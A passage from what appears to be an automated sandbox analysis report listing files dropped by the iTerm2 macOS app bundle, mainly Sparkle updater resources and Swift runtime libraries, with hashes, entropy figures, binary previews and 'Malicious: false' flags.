Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text
Category:	dropped
Size (bytes):	6278
Entropy (8bit):	4.204755331253033
Encrypted:	false
SSDEEP:	96:M4+Bu8X8d23T3jisRUxoswI5xk3mkml1n0DKf6xCv4lRLM27U:M53T3jjU6rI/jn0DK2P42Y
MD5:	D923193C83AF6ED826207F7D3FA5DBCE
SHA1:	B2B7D334B20521D84D284D32473C04A800FB6FE7
SHA-256:	06124A215D5D130DE48C12AC5DD8BD0131D59185486D9A61656E19B932D45D04
SHA-512:	D3E0E372C96267F6333076F7CB8EBEA18F72470B50518F7F3AEA28B9BE0D4314636549DF13AF731FAB86D6C75F76D7F7242E5799F44AE86E520557D3E4510DA2
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. ..].N}..[.kv^.S.N.O(u...`.`...s(W.[.. .%.1.$.@. ..T..".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. ."..e.l.f.e .%.1.$.@....V:N.[..L..N.N*N.S...[wS.Y.x.v f.P.bIQ.v.0.y.R .%.1.$.@. .0R.^(u.z.^.e.N9Yv^.Q...N!k.0".;.....".Q.u.i.t. .%.1.$.@.,. .m.o.v.e. .i.t. .i.n.t.o. .y.o.u.r. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e. .a.n.d. .t.r.y. .a.g.a.i.n... .%.2.$.@. .c.a.n.. t. .b.e. .u.p.d.a.t.e.d. .

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_TW.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13428
Entropy (8bit):	6.730504319397593
Encrypted:	false
SSDEEP:	192:U1WzBQAF2GcIrOeYjqE0lCjeEYNMtKwqJ36lsQd/6T9rWe6UE8:UgzJ2UreqE0EeEYNg7qJ36lsQdI9f/
MD5:	5A64A5A08232775269444C802F42285E
SHA1:	C6225D69CF73B51FEF33681B720CE8D52FB73D33
SHA-256:	036AF67587529CFF2375313B3EF84EBACFBD892E281818398B53B1601133659A
SHA-512:	86A1161963C43FD176C5CD32F33E35E3429512D5AE5E163D523E52EE415F75A9A306847D56C5A458036901F12443B0F8BBB1354B46DA8ABE44CA2AB3339895E4
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_TW.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	22993
Entropy (8bit):	6.894464418467857
Encrypted:	false
SSDEEP:	384:bRgbiTaQ83E0UeEYNg7W+Eb7+5v2YJtgRo5tQHNKwyYEMXtu:1g+TaQBeEYym7+5v2YJAXNzX8
MD5:	731EF8564A1C0CE55324689D719D3C0B
SHA1:	189E18AD8DF121CBBCFEA68ABD6A7DC73FEBAF1D
SHA-256:	76DAE7558A9A474334FE412ACD8F483332D3216CBDBF5B95563477B737B42644
SHA-512:	48C4714CBC744AD7542DE9C609F0BF1B3E199DD9AF6757F296861E70D4496A08435E23564C9D35F5817A6930A8A9110C06D21C8AD1FA7FC109CBC8053D978E2B
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_TW.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	19810
Entropy (8bit):	6.840148159339555
Encrypted:	false
SSDEEP:	384:IAgjvKE0DeEYNg74d+0VutleshI8tElI/xlobM78Xp5Q5stDMVKMRgRHD:JgAeEYyMVutUshI3KZlobPtDMVpRgRHD
MD5:	7B5D30A533CB61B20FC8E6483322C667
SHA1:	A411720CEB32269FCE9A51A88FB0381219CD1717
SHA-256:	857AE25C83E35CC8E6EA57A343B8820288052ACA0D5CD0B11DBA733F1EDC7969
SHA-512:	2C91ACA050A8A0F6375C7DB69F98F9DAE272C788B8AA7974C674EB4D502FD751A8CDA9BADFEC58BB19AE3270915959BAB0656599130A575A3C5B3ECA218A1891
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_TW.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text
Category:	dropped
Size (bytes):	5734
Entropy (8bit):	4.223187268430814
Encrypted:	false
SSDEEP:	96:M43BBu3g93a3/QUiYRUxosUeLSsS2SDSs7m3g1ny0G6qUvX6EN:MtQ3a3/QUfU6PZS3Iny0WQ
MD5:	3DA81209EBBD6A34DA0A5D8BC0196F34
SHA1:	C534D9469D3388166D8713FC720462120C591345
SHA-256:	D9A670069F56F0147A4DBB7A8440E39BFCBFBE8DC518C08840E02C725572FA44
SHA-512:	BE0E02BFF6588CDB79C5B9DE6D34A3FBF8B913700AF7FB70127E486638F0BC0F25FCE942DB1CE75C5DC65D550007E9CC9D37B717E24FAB63F8B22684D9852696
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. ..].N...N.S.O.O(u...`/f&T...s(W.[..&N...e_U.R%.1.$.@...".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".vu .%.1.$.@. .ck._/U..wS.[...Y.x.x f.P.j.bIQ.x_j...WL.Bf..!q.l2.L..f.e.0...\ .%.1.$.@. ..y...`.v. .a(u.z._. .jHh>Y..._r.U....e_U.R..6q._.Qf..N!k.0 . .".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e...". .=. .".%.1.$.@. .%.2.$.@. ..]/f.vMR.g.e.vHr,g.0".;.....".%.@. .%.@. .i.s. .

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Sparkle Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O fat file with 2 architectures
Category:	dropped
Size (bytes):	1418448
Entropy (8bit):	5.761506211094541
Encrypted:	false
SSDEEP:	12288:+Ife6bFmj9HhSKSK5IIHefiiysJtGWot4dJ/vwMGElxI6:+I21B5ScbYDJoht4d2Mvle
MD5:	4A6843CCAF359537A1581C0BEE55C181
SHA1:	64BF5A24952458B64A2562B28DB1992C20B5074C
SHA-256:	6B3D8B094606EF3B83A36D3E4937D4F0CE8A08B64FF0E0580B611C23168A0D40
SHA-512:	87C3126574C222F177106C0022E4CB7400B1F745214440037613228F4B79B8D6C05300D7375B7FBDD8CBF186F2ADEE84EB4A11E6F617DCF9657421B90162FD93
Malicious:	false
Reputation:	low
Preview:	..................@...J@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/_CodeSignature/CodeResources Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	81425
Entropy (8bit):	5.181233395684531
Encrypted:	false
SSDEEP:	768:gF7okDXyU2avd3QelqkpQgarefMgHG1g/Dzd:gVPXyHavdgCxp6gHGuvd
MD5:	9BDC19D1D5FED38E8215FBBDE1D6FD32
SHA1:	6CBFA8167A0E87243F03BB9905FE953637A8EDAC
SHA-256:	33CB50DF7C1322A0292B597F3C779842A267E69A9403655372CC839A073902AF
SHA-512:	5A4CFFB8B10B635904C04F3A85177ECF09C2DBC887101FFB1A76EC6C50FDC63CB22283CE901F6E5C4AA4F46BB337D1E608110448A44C7D0837D9190E7358B85E
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>files</key>..<dict>...<key>Resources/Autoupdate.app/Contents/Info.plist</key>...<data>...jKprGS23tljWzuH9XCCDg31P+/o=...</data>...<key>Resources/Autoupdate.app/Contents/MacOS/Autoupdate</key>...<data>...gueKZr1DRcTwZSRNlkWfloEzWeg=...</data>...<key>Resources/Autoupdate.app/Contents/MacOS/fileop</key>...<data>...PTQ4QJC6rprDJz+dpa5v8XqgEys=...</data>...<key>Resources/Autoupdate.app/Contents/PkgInfo</key>...<data>...n57qDP4tZfLD1rCS43W0B4LQjzE=...</data>...<key>Resources/Autoupdate.app/Contents/Resources/AppIcon.icns</key>...<data>...4McwRDEss5BzWwUMG2Xf93+ze08=...</data>...<key>Resources/Autoupdate.app/Contents/Resources/SUStatus.nib</key>...<data>...MulAXYyGjKf4+ASdeMJhGSViQXU=...</data>...<key>Resources/Autoupdate.app/Contents/Resources/ar.lproj/Sparkle.strings</key>...<dict>....<key>hash</key>....<data>....3/Z

/Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	510432
Entropy (8bit):	5.76000608414309
Encrypted:	false
SSDEEP:	6144:1OJ7bjZ/UFD08i2CcuqJq5png3GLZXuIrLZXu1ez:1OJ7QD93qy+UW
MD5:	4E245480D5F4136A49F6B0F50C6152C4
SHA1:	72ECD873C07B1F96B01BD461D091547F9DBCB2B7
SHA-256:	2C269FF4216DC6A14FD81FFE541994531B23A1D8E0FBD75B9316A9FA0E0D5FEF
SHA-512:	46C013E80A730463CE15A5D68FF4A3A9E748FE4F91B3A9501727C629B61E195F8675D9C65A1F6DBABB562DF7707A4FBB637FC250BCA0C7ADD09DCC4F856E9710
Malicious:	false
Reputation:	low
Preview:	........................................__TEXT..........................................................__text..........__TEXT..........@ ......P.......@ ..............................__stubs.........__TEXT..........................................................__stub_helper...__TEXT..........................................................__objc_methname.__TEXT...................>......................................__objc_classname__TEXT...........7......\|........7..............................__objc_methtype.__TEXT..........i;..............i;..............................__cstring.......__TEXT...........I......8+.......I..............................__const.........__TEXT..........8u......8.......8u..............................__gcc_except_tab__TEXT..........pu..............pu..............................__ustring.......__TEXT..........,x......T.......,x..............................__unwind_info...__TEXT...........z......\........z..............................__eh_frame......

/Applications/iTerm.app/Contents/Frameworks/libswiftAppKit.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	222688
Entropy (8bit):	5.385478216460318
Encrypted:	false
SSDEEP:	3072:v2l1GzmZ2wOlFryRZHTb/XH7TKjF+ndYjO3yA8zR/PmrIL3Z5TzySPv/foITzNrt:qoFP6r0vpGT8Ma0UZ
MD5:	AE023D2D0F67B4D3CC0D68D7AE9DA4DB
SHA1:	834B09902F1856F1299A889E3395557A3B814629
SHA-256:	57E3A100C4753132BAEE1234D81720FC63DD17FC93FF07AD24904581ED51E694
SHA-512:	C1685A2DB1B3B72440AE65383A86423FAC07A010D1C40CD88B4D0AAEF896E434DDE9047A6E0A60E5003322773C4F45F0DB1C2C4E1996B0E9433217F6EEE62992
Malicious:	false
Reputation:	low
Preview:	................$.......................__TEXT...................P...............P......................__text..........__TEXT...........\|......k........\|..............................__stubs.........__TEXT...........&...............&..............................__stub_helper...__TEXT...........)...............)..............................__const.........__TEXT..........0.......\|.......0...............................__objc_methname.__TEXT...........>...............>..............................__cstring.......__TEXT..........@@..............@@..............................__swift5_typeref__TEXT...........A...............A..............................__swift5_capture__TEXT..........hE......$.......hE..............................__swift5_fieldmd__TEXT...........E...............E..............................__swift5_reflstr__TEXT..........pG......b.......pG..............................__swift5_protos.__TEXT...........G...............G..............................__swift5_assocty

/Applications/iTerm.app/Contents/Frameworks/libswiftCloudKit.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	205744
Entropy (8bit):	5.3948385317712155
Encrypted:	false
SSDEEP:	6144:qGLPyXy0L9hHvT5/VGyQq8qZA06DK8Rl5R7:kXy0BhHvT5/VGyQq8qZA06DK8Rl5R7
MD5:	3FD444F6F27BC180BB0B8189D40150FB
SHA1:	734B3964414B6DFE21F6252CFF67AAB949B4F029
SHA-256:	128707F5E6193213A102672535C8E6E7CDCB95D9DF4EEB0EE8E22F06AEB5B0D3
SHA-512:	CA859D2FEE73E644A20B6B4C9BCA0A677D5BDCC738C2A1A19F99C680D6EB0881DA6766FA5CF184308B1C5FAF270454C0CDA432A534AA30F77D9DD1A2C044B87B
Malicious:	false
Reputation:	low
Preview:	................#...p...................__TEXT...................@...............@......................__text..........__TEXT.......... r.............. r..............................__stubs.........__TEXT..........................................................__stub_helper...__TEXT..........................................................__cstring.......__TEXT..........p...............p...............................__objc_methname.__TEXT..........................................................__swift5_typeref__TEXT...........%...............%..............................__swift5_capture__TEXT...........)...............)..............................__const.........__TEXT.................d......................................__swift5_fieldmd__TEXT..........D4..............D4..............................__swift5_reflstr__TEXT...........5......I........5..............................__swift5_protos.__TEXT..........P5..............P5..............................__swift5_assocty

/Applications/iTerm.app/Contents/Frameworks/libswiftContacts.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	68576
Entropy (8bit):	3.508008617638073
Encrypted:	false
SSDEEP:	768:T/kUL7LTGIcqnunsWrd/Ose3pi1S/m7iZTj3I+hmVeLRpSWOfk8y:YUbTGjEIk
MD5:	683DE83FF6843E00DEA37105E31928A8
SHA1:	7A41D3A54BE935F33FAF954495029B4E652B4223
SHA-256:	449E3C2F8EAD103D71089255A26DB80BC91A64C9CB15140A5D7D25479F51BBC4
SHA-512:	CD8B2ED36530D94AC874A7162578B1E0536E43EA22D0DD348E48230A34C07DEFBE29D0D12B24F9F8D5F3D95D9A79A324B8DB2E278C6EA7C109548988027A4CD2
Malicious:	false
Reputation:	low
Preview:	........................................__TEXT...................p...............p......................__text..........__TEXT..........@X......;.......@X..............................__stubs.........__TEXT..........\|f......~.......\|f..............................__stub_helper...__TEXT...........f...............f..............................__const.........__TEXT...........g...............g..............................__swift5_typeref__TEXT...........j...............j..............................__swift5_reflstr__TEXT...........k......"........k..............................__swift5_assocty__TEXT...........k......H........k..............................__swift5_proto..__TEXT..........<l......$.......<l..............................__swift5_types..__TEXT..........`l..............`l..............................__swift5_fieldmd__TEXT..........hl..............hl..............................__swift5_builtin__TEXT...........l...............l..............................__info_plist....

/Applications/iTerm.app/Contents/Frameworks/libswiftCore.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	6456320
Entropy (8bit):	6.528870069087895
Encrypted:	false
SSDEEP:	98304:jgpE3ltAx2iIgRvDSTdzM4qwgwAUuiJ7AglPhvffkESUyGsr:Solt7iI61wgwAm7Ag
MD5:	B0D6E31B7E1401821433237F55B0BBE1
SHA1:	1FED8CC56C16AB10FA0E874ED873D4F4E192C96F
SHA-256:	14B5782BD10D073312D20F46FEF127860932F14A924883176C4A8CFC49B2AA95
SHA-512:	F83E2F50E60D99F24431FA8F89A2E9B91C67ED8698599D4CC6B6DEC597D51C05013B6502AB5AF5C2AC6EA8AB1C22618EB781683FA8C4EFDF24149429FBEFA08F
Malicious:	false
Reputation:	low
Preview:	.................... ...................__TEXT................... 7.............. 7.....................__text..........__TEXT...................o2.....................................__stubs.........__TEXT............2.....d.........2.............................__stub_helper...__TEXT..........p.2.............p.2.............................__const.........__TEXT..........`.2......9......`.2.............................__cstring.......__TEXT............3...............3.............................__swift5_typeref__TEXT............4......w........4.............................__swift5_capture__TEXT............5...............5.............................__objc_methname.__TEXT............5...............5.............................__swift5_reflstr__TEXT............5...............5.............................__swift5_fieldmd__TEXT...........,5......@.......,5.............................__swift5_builtin__TEXT..........\m5.............\m5.............................__swift5_protos.

/Applications/iTerm.app/Contents/Frameworks/libswiftCoreData.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	4.388513635185476
Encrypted:	false
SSDEEP:	3072:BSFjQPAUCtvlZWjAj4n26VQxWTWOrbok7qF2V2LCSR69oQCNVzUgV51kGqmz4kcN:cF1b
MD5:	A7D532171CF0663F27F9D3949926F20C
SHA1:	A69F6F2889343032561C2645CD7B893FF842909A
SHA-256:	0DE61D2B303DE3C5CE544CFCC8F3DD6663FE603332C303F38556C83E386195CF
SHA-512:	62A08C03DC73B38EFED75B0A729B78551661ACA51C25787CFF71613DA0625D2459B1FB132E045B3CA1BF4C3DEC68DE21942EEDBFBC6697088BE43077A2C066E8
Malicious:	false
Reputation:	low
Preview:	....................H...................__TEXT..........................................................__text..........__TEXT...........^......1).......^..............................__stubs.........__TEXT..........................................................__stub_helper...__TEXT..........x...............x...............................__cstring.......__TEXT..........................................................__objc_methname.__TEXT..................H.......................................__const.........__TEXT..........................................................__objc_classname__TEXT..................9.......................................__objc_methtype.__TEXT..........................................................__info_plist....__TEXT..................H.......................................__unwind_info...__TEXT..........................................................__eh_frame......__TEXT..................X...............................................__DATA..

/Applications/iTerm.app/Contents/Frameworks/libswiftCoreFoundation.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	42128
Entropy (8bit):	2.3703377463919417
Encrypted:	false
SSDEEP:	192:Sz5zq/MDWrSTG1r/giJIx8P0w+oQ454HXr0YkFK:SzX3kr/gu28D5OTk
MD5:	08D433CAFA2431F818BDE8F762A3D114
SHA1:	F117590293D48A28DB9E15AC42E16BFE0A74AF94
SHA-256:	234B64AEBB8E653DB0C276BE113DD98CC84054B72D2099866A6AF5DD2F58719D
SHA-512:	E0DB18562D5F041B8C00318E4998347F6CC4E81E56F4A81D0F84081C8E2CA263ED5A7DE2354AB39EC68CADBA38E0341F0F9F733C79E6503F7E2C7E717AE3E587
Malicious:	false
Reputation:	low
Preview:	....................................h...__TEXT...................@...............@......................__text..........__TEXT...........;......q........;..............................__stubs.........__TEXT...........<...............<..............................__stub_helper...__TEXT..........0<......B.......0<..............................__const.........__TEXT..........t<......l.......t<..............................__swift5_typeref__TEXT...........<...... ........<..............................__swift5_fieldmd__TEXT...........=...............=..............................__swift5_protos.__TEXT...........=...............=..............................__info_plist....__TEXT...........=......T........=..............................__unwind_info...__TEXT..........h?......\.......h?..............................__eh_frame......__TEXT...........?......8........?......................................__DATA...........@...............@..............................__nl_symbol_ptr.__DATA..

/Applications/iTerm.app/Contents/Frameworks/libswiftCoreGraphics.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	190560
Entropy (8bit):	5.437227910355922
Encrypted:	false
SSDEEP:	3072:4a1kZDjzHXI9TH85JojH4bLQfWXO6sI9Zr6vzEOMbOa:h1kJvHXD5LDAy
MD5:	3BB5FA71CEC91EB52615A37B642303B0
SHA1:	4C4CD409F964E57CFABF4BBB750683DC8B36D316
SHA-256:	9E89C9EBF3766A8559DA8B12D17EC1C4A818912FC3E8B355B8F24B594A72BB8F
SHA-512:	E6738ACA4E9C6244A603A3B35CEBE2B542D250DDDFEAE294EE53ED62C7D33A1CA8E05FC85B9CACDB2039FFEDCD8EF08DC16876432DCB7EA936239BFE2AF9EC9E
Malicious:	false
Reputation:	low
Preview:	....................................H...__TEXT..........................................................__text..........__TEXT..........PR......K.......PR..............................__stubs.........__TEXT..................r.......................................__stub_helper...__TEXT..........................................................__const.........__TEXT..........................................................__cstring.......__TEXT..........................................................__swift5_typeref__TEXT..........4.......+.......4...............................__swift5_fieldmd__TEXT..........`.......L.......`...............................__swift5_reflstr__TEXT..........................................................__swift5_protos.__TEXT..........l...............l...............................__swift5_assocty__TEXT..........p...............p...............................__swift5_proto..__TEXT.......... ............... ...............................__swift5_types..

/Applications/iTerm.app/Contents/Frameworks/libswiftCoreImage.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	50064
Entropy (8bit):	2.0156592935685804
Encrypted:	false
SSDEEP:	192:5p8v8WXx3e/kvJ5VJIx8P0w+oQ454HXVtTG:5CSkvvH28D5WR
MD5:	D1B17FA22924A64C67F47BABB2710E76
SHA1:	F89D5B4B603AD101356B4E3E89495D876A686B3D
SHA-256:	D8D159DEEDEA4ABED1A4778C334390285E6BB70CFB3A6D90676483FE5283AB32
SHA-512:	47AAC48092AA5FC53B05F48E3A73396B7E6B5DFBDA7E45C5F351C0ECB1139CD1FB546EF2F308FE5B306964AE2F12926DEC2B4E478C0D3DCC69C19E960B67C256
Malicious:	false
Reputation:	low
Preview:	........................................__TEXT...................`...............`......................__text..........__TEXT..........`]..............`]..............................__const.........__TEXT..........b]..............b]..............................__info_plist....__TEXT..........j]......J.......j]..............................__unwind_info...__TEXT..........._......H........_......................................__DATA...........`...............`..............................__const.........__DATA...........`......H........`..............................__objc_imageinfo__DATA..........H`..............H`..................................H...__LINKEDIT.......p.......`.......p.......S..........................8...........R.......@rpath/libswiftCoreImage.dylib.."...0............p.......................q..H............r.......t..........P......................................................................................'..1...m.....$...............*......... .........`...

/Applications/iTerm.app/Contents/Frameworks/libswiftCoreLocation.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	54848
Entropy (8bit):	2.8053452357207247
Encrypted:	false
SSDEEP:	192:lYhhx1kPVn+rNxx/7d4a4sACO1aoJIx8P0w+oQ454HX2Ob:lYMNnuxxqWO1ac28D5
MD5:	834FFA15EA0181ACEF3836DDFA86B5D9
SHA1:	DECA141CA074A589492F9F90CE901A0D9A33F28A
SHA-256:	F0EA6923B72280F18014CDD3D7468E370DB51B67C9DDB9CBCF06C50F56E3F3AD
SHA-512:	75A9C0CA335C4E1396CB85147B93D580DA46A4529F9392CADB710387B87771748062791E9C92999CF11A2B9348EB76F60324B9C0775DDC24C2A2E8764165F4F3
Malicious:	false
Reputation:	low
Preview:	........................................__TEXT...................`...............`......................__text..........__TEXT..........@U..............@U..............................__stubs.........__TEXT...........Y......N........Y..............................__stub_helper...__TEXT..........@Z..............@Z..............................__objc_methname.__TEXT...........Z......>........Z..............................__swift5_typeref__TEXT...........[......G........[..............................__const.........__TEXT..........`[..............`[..............................__cstring.......__TEXT...........\......<........\..............................__swift5_reflstr__TEXT..........<\......#.......<\..............................__swift5_assocty__TEXT..........`\..............`\..............................__swift5_proto..__TEXT..........x\..............x\..............................__swift5_types..__TEXT..........\|\..............\|\..............................__swift5_fieldmd

/Applications/iTerm.app/Contents/Frameworks/libswiftDarwin.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	99088
Entropy (8bit):	5.0963941925371845
Encrypted:	false
SSDEEP:	3072:gcicIA1+T36lxD8DBnVK4rywrcXARZTFW6D5BNTEiQvg8Mw/F3OFga0u6kXIohe8:gcs1elxD8DBnVK4rywrcXARZTFW6D5BH
MD5:	A73D65881C73388A43414C403556E938
SHA1:	3A689F46408CF91EC525B9961ABE02423DEFAB82
SHA-256:	CE22345C3F39282C1F5534E075A3C0F53663F03218EB4B8145BD71B639397574
